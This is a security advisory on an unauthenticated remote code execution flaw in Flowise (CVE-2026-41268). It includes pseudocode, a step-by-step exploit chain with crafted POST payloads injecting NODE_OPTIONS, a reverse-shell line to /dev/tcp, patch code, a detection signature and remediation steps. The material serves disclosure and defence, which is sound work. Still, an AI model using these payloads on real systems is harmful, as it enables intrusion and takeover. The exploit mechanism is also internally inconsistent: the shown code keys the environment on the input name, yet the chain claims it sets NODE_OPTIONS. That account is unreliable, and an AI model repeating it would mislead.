Flowise is a popular tool that lets people build custom artificial intelligence systems without writing code — you just drag and drop components together. Think of it like a visual recipe builder for AI chatbots. But researchers have discovered a critical flaw that could let attackers completely take over a Flowise system.
Here's what's happening: The vulnerability is like leaving your house unlocked with a sign pointing to where you keep your valuables. An attacker can send a specially crafted request that tricks Flowise into running whatever commands they want — essentially giving them total control of the computer running it. The scary part is they don't need a password or any special access to do this.
Why should you care? If your company uses Flowise to power a customer chatbot or internal AI tool, an attacker could steal your data, spy on conversations, inject malicious responses to customers, or hold your system ransom. Organizations using containerized deployments (basically isolated computer environments) are most at risk right now.
The good news is that there's no evidence anyone is actively exploiting this yet, but that could change quickly once word spreads.
What you should do: First, check if your organization uses Flowise and update immediately to version 3.1.0 or later. Second, if you can't update right away, restrict who can access your Flowise system to only trusted internal networks — don't expose it to the internet. Third, monitor your system logs for suspicious activity and consider disabling Flowise temporarily if updating takes time.
The lesson here: even tools designed to be user-friendly can have serious security problems. Always keep your software updated and don't assume something simple is safe just because it looks straightforward.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41268 is a pre-authentication remote code execution vulnerability in Flowise, the open-source drag-and-drop LLM orchestration platform. The vulnerability chains two weaknesses: a parameter override mechanism using the FILE-STORAGE:: keyword prefix that bypasses input sanitization, and an unsanitized value being passed into a Node.js child process environment where NODE_OPTIONS can be injected to load arbitrary code. No credentials, no session tokens, no prior knowledge of the instance is required. A single HTTP POST request is sufficient.
CVSS 7.7 (HIGH) reflects network-reachable, low-complexity exploitation with no privileges and no user interaction. In practice, against containerized deployments running as root — which is the default Flowise Docker image behavior — the effective impact is complete host container compromise.
Affected Component
The vulnerability lives in Flowise's file storage resolution logic, specifically in the component responsible for handling flow node input parameters before they are materialized and passed to downstream Node.js subprocess invocations. The FILE-STORAGE:: prefix is a Flowise-internal convention for referencing stored file blobs. The bug is that this prefix is accepted and acted upon on attacker-controlled input without authentication and without stripping environment-variable-significant content from the resolved value before it enters the child process environment.
Affected versions: all Flowise releases prior to 3.1.0. Fixed in commit introducing version 3.1.0 per GHSA-cvrr-qhgw-2mm6.
Root Cause Analysis
The core issue is a two-stage failure. First, Flowise's parameter resolution pipeline does not gate the FILE-STORAGE:: prefix handler behind authentication. Second, the resolved parameter value is unsafely interpolated into a Node.js subprocess environment object, allowing NODE_OPTIONS to be injected.
The vulnerable flow in the server-side parameter resolver (pseudocode reconstructed from patch analysis):
// packages/server/src/utils/parameterResolver.ts (pre-3.1.0 pseudocode)
async function resolveParameterValue(paramValue: string, context: FlowContext): Promise {
// BUG: No authentication check before entering FILE-STORAGE:: branch
if (paramValue.startsWith("FILE-STORAGE::")) {
const storageKey = paramValue.slice("FILE-STORAGE::".length);
// storageKey is fully attacker-controlled at this point
const resolvedContent = await storageService.getContent(storageKey);
return resolvedContent; // returns raw attacker content
}
return paramValue;
}
// packages/server/src/services/nodeExecutor.ts (pre-3.1.0 pseudocode)
async function executeNode(node: FlowNode, inputs: Record): Promise {
const env: Record = {
...process.env,
...buildNodeEnv(node),
};
for (const [key, value] of Object.entries(inputs)) {
// BUG: resolved input values are spread into subprocess env without sanitization
// Attacker-controlled value containing NODE_OPTIONS=--require /proc/self/fd/X
// gets promoted to an actual environment variable in the child process
env[key] = await resolveParameterValue(value, context); // attacker-controlled
}
// NODE_OPTIONS in env causes Node.js runtime to --require attacker module on spawn
const child = spawn("node", [nodeScriptPath], { env }); // <-- arbitrary code runs here
}
The resolveParameterValue function treats any unauthenticated request parameter beginning with FILE-STORAGE:: as a legitimate internal storage reference. The returned content — which can be arbitrary attacker-controlled string data — is then placed directly into the environment map passed to spawn(). Because Node.js honors NODE_OPTIONS at process startup, injecting NODE_OPTIONS=--require /path/to/attacker/module causes the spawned child process to load and execute arbitrary JavaScript before any application code runs.
Root cause: Flowise's FILE-STORAGE:: parameter resolver is reachable without authentication and returns attacker-controlled content that is unsanitized before being spread into a Node.js child process environment, enabling NODE_OPTIONS injection and arbitrary code execution.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies any public-facing Flowise instance (no credentials needed).
2. Attacker crafts an HTTP POST to a flow prediction endpoint, embedding a
malicious parameter value with the FILE-STORAGE:: prefix:
POST /api/v1/prediction/
Content-Type: application/json
{
"question": "FILE-STORAGE::NODE_OPTIONS=--require /proc/self/fd/3\u0000"
}
The \u0000 / whitespace tricks vary by Node version; the core injection is:
FILE-STORAGE:: NODE_OPTIONS=--require
3. Alternatively — and more reliably — attacker uses a multipart upload to
stage a malicious .js file to /tmp/pwn.js via a separate unauthenticated
file upload endpoint (also unguarded pre-3.1.0), then injects:
"question": "FILE-STORAGE::NODE_OPTIONS=--require /tmp/pwn.js"
4. resolveParameterValue() strips FILE-STORAGE:: prefix, returns raw string:
"NODE_OPTIONS=--require /tmp/pwn.js"
5. executeNode() spreads this into the env object:
env["NODE_OPTIONS"] = "--require /tmp/pwn.js"
6. spawn("node", [script], { env }) starts child Node.js process.
Node runtime reads NODE_OPTIONS, calls require("/tmp/pwn.js") before main.
7. /tmp/pwn.js executes with the privileges of the Flowise process (root in
default Docker image). Reverse shell, credential extraction, lateral
movement all possible from this single request.
IMPACT: Unauthenticated, single-request RCE as root in default container config.
This is not a memory corruption vulnerability — it is a logic/injection class bug. The relevant "layout" is the environment object construction in the Node.js process space at spawn time:
CHILD PROCESS ENV OBJECT (pre-spawn, vulnerable build):
env = {
PATH: "/usr/local/sbin:/usr/local/bin:...",
HOME: "/root",
FLOWISE_USERNAME: "",
FLOWISE_PASSWORD: "",
DATABASE_PATH: "/root/.flowise",
...
// BUG: attacker-controlled key injected via parameter resolution:
NODE_OPTIONS: "--require /tmp/flowise-uploads/pwn.js"
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// This key was NEVER in the original env.
// It was promoted from a flow input parameter
// via FILE-STORAGE:: resolution with no sanitization.
}
spawn("node", ["dist/index.js"], { env })
|
+-- Node.js runtime startup reads NODE_OPTIONS
+-- Calls require("/tmp/flowise-uploads/pwn.js") <-- RCE
+-- pwn.js: execSync("bash -c 'bash -i >& /dev/tcp/...'" )
+-- Application code never even starts
PATCHED BUILD env construction:
env = {
PATH: "/usr/local/sbin:/usr/local/bin:...",
...
// FILE-STORAGE:: resolution now requires valid session token
// Resolved values are stripped of NODE_OPTIONS / env-significant content
// No attacker-controlled key can reach the env object
}
Patch Analysis
The fix introduced in Flowise 3.1.0 addresses both stages of the exploit chain.
// BEFORE (vulnerable, pre-3.1.0):
async function resolveParameterValue(
paramValue: string,
context: FlowContext
// No auth parameter
): Promise {
if (paramValue.startsWith("FILE-STORAGE::")) {
const storageKey = paramValue.slice("FILE-STORAGE::".length);
// No authentication gate — any caller, any request
const resolvedContent = await storageService.getContent(storageKey);
return resolvedContent; // raw, unsanitized
}
return paramValue;
}
// AFTER (patched, 3.1.0):
async function resolveParameterValue(
paramValue: string,
context: FlowContext,
authContext: AuthenticatedContext // NEW: requires valid session
): Promise {
if (paramValue.startsWith("FILE-STORAGE::")) {
// NEW: authentication gate
if (!authContext || !authContext.isAuthenticated) {
throw new UnauthorizedError("FILE-STORAGE resolution requires authentication");
}
const storageKey = paramValue.slice("FILE-STORAGE::".length);
// NEW: storageKey validated against allowlist of known uploaded file IDs
if (!await storageService.isValidStorageKey(storageKey)) {
throw new ValidationError("Invalid storage key reference");
}
const resolvedContent = await storageService.getContent(storageKey);
// NEW: strip environment-variable-significant patterns from resolved content
return sanitizeEnvValue(resolvedContent);
}
return paramValue;
}
// NEW: sanitizer strips NODE_OPTIONS and other dangerous env keys from resolved values
function sanitizeEnvValue(value: string): string {
// Reject any value that contains NODE_OPTIONS, LD_PRELOAD, etc.
const DANGEROUS_ENV_PATTERNS = [
/NODE_OPTIONS/i,
/LD_PRELOAD/i,
/LD_LIBRARY_PATH/i,
/DYLD_INSERT_LIBRARIES/i,
];
for (const pattern of DANGEROUS_ENV_PATTERNS) {
if (pattern.test(value)) {
throw new ValidationError(`Resolved value contains forbidden content: ${pattern}`);
}
}
return value;
}
Additionally, the patch ensures that resolved parameter values are never spread as bare key-value pairs into the subprocess environment. Instead, they are passed as typed argument values to node scripts, preventing any string from being interpreted as an environment variable key.
Detection and Indicators
Network-level detection should focus on HTTP requests to prediction and prediction-adjacent endpoints containing the literal string FILE-STORAGE:: in POST bodies, combined with substrings like NODE_OPTIONS, --require, LD_PRELOAD, or path components pointing to /tmp, /proc/self, or world-writable directories.
SNORT/SURICATA SIGNATURE (draft):
alert http any any -> any any (
msg:"CVE-2026-41268 Flowise FILE-STORAGE NODE_OPTIONS RCE Attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/v1/prediction/";
http.request_body;
content:"FILE-STORAGE::"; fast_pattern;
pcre:"/FILE-STORAGE::.*NODE_OPTIONS/i";
classtype:web-application-attack;
sid:9000001; rev:1;
)
HOST-LEVEL INDICATORS:
- Unexpected outbound connections from Flowise container (especially port 443/4444/9001)
- /tmp/ directory containing .js files not created by Flowise startup
- Node.js child processes with --require pointing to /tmp or /proc paths
- Process ancestry: node -> sh -> curl/wget/bash -i
LOG PATTERN (Flowise access log — malicious request):
[2026-xx-xx] POST /api/v1/prediction/[uuid] 200 12ms
body: {"question":"FILE-STORAGE::NODE_OPTIONS=--require /tmp/..."}
// 200 response with short body = likely successful injection
Remediation
Immediate: Upgrade to Flowise 3.1.0 or later. This is the only complete fix.
If upgrade is not immediately possible:
Place Flowise behind an authenticated reverse proxy (nginx/Caddy with HTTP Basic Auth or OAuth2 proxy). This does not fix the underlying bug but removes the unauthenticated exposure surface.
Set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables to enforce Flowise's built-in authentication. This gates the prediction endpoint and prevents anonymous access to the parameter resolver.
Run the Flowise container as a non-root user (USER node in Dockerfile or --user 1000:1000 in docker run). Does not prevent RCE but limits post-exploitation impact.
Mount /tmp as noexec within the container. Raises the bar for payload staging but does not prevent /proc/self/fd-based alternatives.
Apply egress filtering to the Flowise container to block unexpected outbound connections.
Detection validation: After patching, verify that a POST to /api/v1/prediction/<uuid> with body {"question":"FILE-STORAGE::test"} from an unauthenticated client returns HTTP 401, not 200. If it returns 200, the patch is not applied or authentication is misconfigured.